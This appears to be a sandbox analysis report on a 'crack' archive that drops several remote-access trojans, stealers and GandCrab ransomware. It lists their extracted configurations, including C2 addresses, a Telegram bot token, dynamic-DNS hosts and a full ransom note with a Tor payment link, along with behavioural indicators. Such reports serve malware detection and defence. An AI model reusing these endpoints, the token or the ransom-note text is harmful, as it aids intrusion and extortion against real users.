asyncrat | 67c12eda1cc8358e06ef29eabf1542bf68db9da45df65c52d0ac03246bf75e03

Resubmissions

09/09/2024, 23:39

240909-3nkmdswdqm 10

09/09/2024, 23:31

09/09/2024, 23:11

09/09/2024, 22:25

09/09/2024, 22:07

09/09/2024, 21:53

09/09/2024, 21:44

Analysis

max time kernel
142s
max time network
239s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
09/09/2024, 23:39

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

クラック.zip
Size

13.4MB
MD5

6c5fc1a3ba386a83c87700f54d62a96f
SHA1

a05f08de3e4f218ad2567a2695d0ca500fb48ecf
SHA256

67c12eda1cc8358e06ef29eabf1542bf68db9da45df65c52d0ac03246bf75e03
SHA512

0a2573e40287c35c5a05c9b84fd5fd41bacc16c1bb565ee823ff6a42610c151f460a4be6d7009f0a70b648234aa998af27769ae667f4649c223c39c07449a098
SSDEEP

393216:T0Wxsts7B2+qq0a1n5Gy0vdymghya/2yswYpmTg:wGg1+0a1nYvvJghD/2yMM8

Malware Config

Extracted

Family

njrat

Version

im523

Botnet

puked

147.185.221.20:47570

Mutex

20006afb0ec33f2e48c8c1f17d4d3382

Attributes

reg_key
20006afb0ec33f2e48c8c1f17d4d3382
splitter
|'|'|

Extracted

Family

asyncrat

Botnet

Default

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7293375371:AAFwIvNWcuknS3y3mtsx4yNSSTkj8NCF_ko/sendMessage?chat_id=5795480469

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

remcos

Botnet

AUGUST CRYPTER TOOLZ GRACE STUB

teamfavour222.ddns.net :6767

odogwuvisual123.duckdns.org:6767

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
-YFLE4M
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Extracted

Path

C:\$Recycle.Bin\S-1-5-21-661032028-162657920-1226909816-1000\OXAXCBEFC-DECRYPT.txt

Ransom Note

---= GANDCRAB V5.0.3 =--- ***********************UNDER NO CIRCUMSTANCES DO NOT DELETE THIS FILE, UNTIL ALL YOUR DATA IS RECOVERED*********************** *****FAILING TO DO SO, WILL RESULT IN YOUR SYSTEM CORRUPTION, IF THERE WILL BE DECRYPTION ERRORS***** Attention! All your files, documents, photos, databases and other important files are encrypted and have the extension: .OXAXCBEFC The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. The server with your key is in a closed network TOR. You can get there by the following ways: ---------------------------------------------------------------------------------------- | 0. Download Tor browser - https://www.torproject.org/ | 1. Install Tor browser | 2. Open Tor Browser | 3. Open link in TOR browser: http://gandcrabmfe6mnef.onion/dafd63b5e8a37110 | 4. Follow the instructions on this page ---------------------------------------------------------------------------------------- On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. ATTENTION! IN ORDER TO PREVENT DATA DAMAGE: * DO NOT MODIFY ENCRYPTED FILES * DO NOT CHANGE DATA BELOW ---BEGIN GANDCRAB KEY--- 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 ---END GANDCRAB KEY--- ---BEGIN PC DATA--- wfKD6iudumBkmpL8IRr4U4exEVaoOXLtwDwmOrT1y1YWvOiWMx5GYaRdvZZRToNRsXYX7n1WrrfCTHeHhh5qBJzzs9MC7736UkGSDDniUJJG8/LFF//kmGmoAZAGLo2j5/wd2UrxMJK+iqKhTkS3ArgAxrZOOOiXrbnhbWMkLHQnbYuWlMClYZxYU6SDxpopRo5r292AV1KIZBZV4APBuUHcKSIr2MWMI0O1MKIP2IpKLE2TS5wNmoQoAHZIP7k/TfrG1tVzlDb3jcZAB3gql9dnWN0lCD4xdg7bDNQrvH1xSi3FCw+6kfktKtizqdynr7r154JiurEmkUXBtOL1/zA2ResgGthYPlqGBnLtpRGHEdobpicT4ti4O6b3Y5NyPYz32XaispQRTRkqF1PXJPcJ15EHwNAoARPLnK8+Au5ZALyfhGEwg6hrKQ3vxBFKwg70Zi7pDhFP3vXLNuat1wQZOHQXRleKYDmn1lvgAn90mSDf7SyGQSZnn7Ivlsuw7HIKVYbpfzf2fBccdMBnP2lNhH9XQ3DC2qZAEuDtLkioBZ9MNJGhHpcOfb/LRc8P54k7V/HuibORzJL9NXYEh8sz/ewORahtHP+ZbmbW4eJPXp1eNtQ19EJhJFLe2qhgw2mJLRMzwAtbfjn5E2ENiW4EkrJfTw== ---END PC DATA---

URLs

http://gandcrabmfe6mnef.onion/dafd63b5e8a37110

Extracted

Family

xloader

Version

2.6

Campaign

eido

Decoy

revellbb.com

tempranillowine.net

viralstrategies.info

blacktxu.com

flfththirdbank.com

vaoex.com

theselfdirectedinvestor.com

vinadelmar.travel

othersidejimmythemonkey.com

jaguar-landrovercenter-graz.com

supremeosterreich.com

chatsubs.com

free99.design

serviciosmvs.com

bongmecams.xyz

malikwoodson.com

onlinegamebox.club

694624.com

yeezyzapatos.club

istanbul-hairtransplant.com

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

DcRat 64 IoCs

DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

rat infostealer dcrat

description	ioc	pid	Process
		6644	schtasks.exe
		5408	schtasks.exe
		5924	schtasks.exe
		5696	schtasks.exe
		6320	schtasks.exe
		6940	schtasks.exe
		7040	schtasks.exe
		6800	schtasks.exe
		6568	schtasks.exe
		7456	schtasks.exe
		5232	schtasks.exe
		6620	schtasks.exe
		7388	schtasks.exe
		7924	schtasks.exe
		6520	schtasks.exe
		5704	schtasks.exe
		5308	schtasks.exe
		6392	schtasks.exe
		6776	schtasks.exe
		7040	schtasks.exe
		7488	schtasks.exe
		7028	schtasks.exe
		1276	schtasks.exe
		7512	schtasks.exe
		7824	schtasks.exe
		6248	schtasks.exe
		7348	schtasks.exe
		7196	schtasks.exe
		5588	schtasks.exe
		2908	schtasks.exe
		5960	schtasks.exe
		6464	schtasks.exe
		6756	schtasks.exe
		6176	schtasks.exe
		5612	schtasks.exe
		7492	schtasks.exe
		7668	schtasks.exe
		7780	schtasks.exe
		1296	schtasks.exe
		8088	schtasks.exe
		5540	schtasks.exe
		5940	schtasks.exe
		5612	schtasks.exe
		8252	schtasks.exe
		6156	schtasks.exe
		7176	schtasks.exe
		6656	schtasks.exe
		6352	schtasks.exe
		7808	schtasks.exe
		7060	schtasks.exe
		5468	schtasks.exe
		5168	schtasks.exe
		6580	schtasks.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0		firefox.exe
		6264	schtasks.exe
		6352	schtasks.exe
		6640	schtasks.exe
		6612	schtasks.exe
		7320	schtasks.exe
		6700	schtasks.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\6ccacd8608530f		5e710462c65fe899466e4fb7c1e33c9a.exe
		5940	schtasks.exe
		8096	schtasks.exe
		5700	schtasks.exe

Process spawned unexpected child process 64 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5768	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6020	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5940	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5532	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5540	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5468	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5696	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5940	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5704	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6176	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6464	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6580	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7164	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1276	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5588	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6320	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6568	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6460	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6328	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7060	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5728	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6656	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6652	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6892	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5836	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1412	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	688	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6640	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6800	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5748	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6676	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7040	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6248	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7176	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6264	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5588	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6620	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6352	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6520	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5532	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5232	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6268	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6924	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6612	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6676	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6644	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7064	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7024	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7000	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6856	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6700	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6392	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6360	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5392	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5960	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7320	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7456	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7488	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8088	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7196	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7924	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8096	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5724	5716	schtasks.exe	117
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1296	5716	schtasks.exe	117

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

resource	yara_rule
behavioral1/memory/2736-566-0x0000000000640000-0x0000000000672000-memory.dmp	family_stormkitty
behavioral1/files/0x0002000000025c75-554.dat	family_stormkitty

Xloader
Xloader is a rebranded version of Formbook malware.
loader xloader
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x0002000000025c75-554.dat	family_asyncrat

DCRat payload 4 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral1/files/0x0002000000025c74-532.dat	dcrat
behavioral1/files/0x0002000000025c7c-612.dat	dcrat
behavioral1/memory/5300-614-0x0000000000ED0000-0x0000000000FA6000-memory.dmp	dcrat
behavioral1/memory/1536-564-0x0000000000830000-0x0000000000906000-memory.dmp	dcrat

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Xloader payload 2 IoCs

rat

resource	yara_rule
behavioral1/memory/8304-2762-0x0000000000400000-0x000000000042B000-memory.dmp	xloader
behavioral1/memory/7160-3165-0x00000000012B0000-0x00000000012DB000-memory.dmp	xloader

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5592	Powershell.exe
7728	powershell.exe
7940	powershell.exe
6204	powershell.exe
4084	powershell.exe
5248	powershell.exe
7876	powershell.exe
6960	powershell.exe
5652	powershell.exe
8160	powershell.exe
7292	powershell.exe
7720	powershell.exe

Modifies Windows Firewall 2 TTPs 5 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
6276	netsh.exe
7340	netsh.exe
7784	netsh.exe
7760	netsh.exe
5440	netsh.exe

Executes dropped EXE 14 IoCs

pid	Process
2888	2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
1536	5e710462c65fe899466e4fb7c1e33c9a.exe
2736	7f1630df6b57af024a3b561bdadc208f.exe
3964	31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
3256	34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
5156	57ccb6f0bd910fed428761828ae93553.exe
5228	70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
5300	73c1c41b9e71c48e752a5cd19fe808b6.exe
5384	75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe
5456	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
5660	172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
5604	938b92958ded4d50a357d22eddf141ad.exe
5780	a6a1abaf12a28ea8f6553356c3bdcf57.exe
5872	BTZ.exe

UPX packed file 11 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0002000000025ccb-666.dat	upx
behavioral1/memory/5660-1005-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/5660-980-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/5660-1948-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/5660-1947-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/5660-2127-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/5660-2262-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/5660-2977-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/5660-3122-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/5660-3208-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/5660-3368-0x0000000000400000-0x000000000048A000-memory.dmp	upx

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral1/files/0x0002000000025cd8-710.dat	vmprotect

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
170	discord.com
172	discord.com

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe	クラック.exe
File created	C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe	クラック.exe
File created	C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe	クラック.exe
File opened for modification	C:\Program Files (x86)\Mozilla Maintenance Service\logs\Idle.exe	5e710462c65fe899466e4fb7c1e33c9a.exe
File created	C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe	クラック.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\6ccacd8608530f	5e710462c65fe899466e4fb7c1e33c9a.exe
File created	C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe	クラック.exe
File created	C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe	クラック.exe
File created	C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe	クラック.exe
File created	C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe	クラック.exe
File created	C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe	クラック.exe
File created	C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe	クラック.exe
File created	C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe	クラック.exe
File created	C:\Program Files (x86)\BTZ.exe	クラック.exe
File created	C:\Program Files (x86)\Cat.exe	クラック.exe
File created	C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe	クラック.exe
File created	C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe	クラック.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\Idle.exe	5e710462c65fe899466e4fb7c1e33c9a.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process
5500	6788	WerFault.exe

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	クラック.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	938b92958ded4d50a357d22eddf141ad.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winhlp32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7f1630df6b57af024a3b561bdadc208f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
7668	PING.EXE

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
9120	timeout.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
7368	taskkill.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "48"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\NodeSlot = "11"	firefox.exe
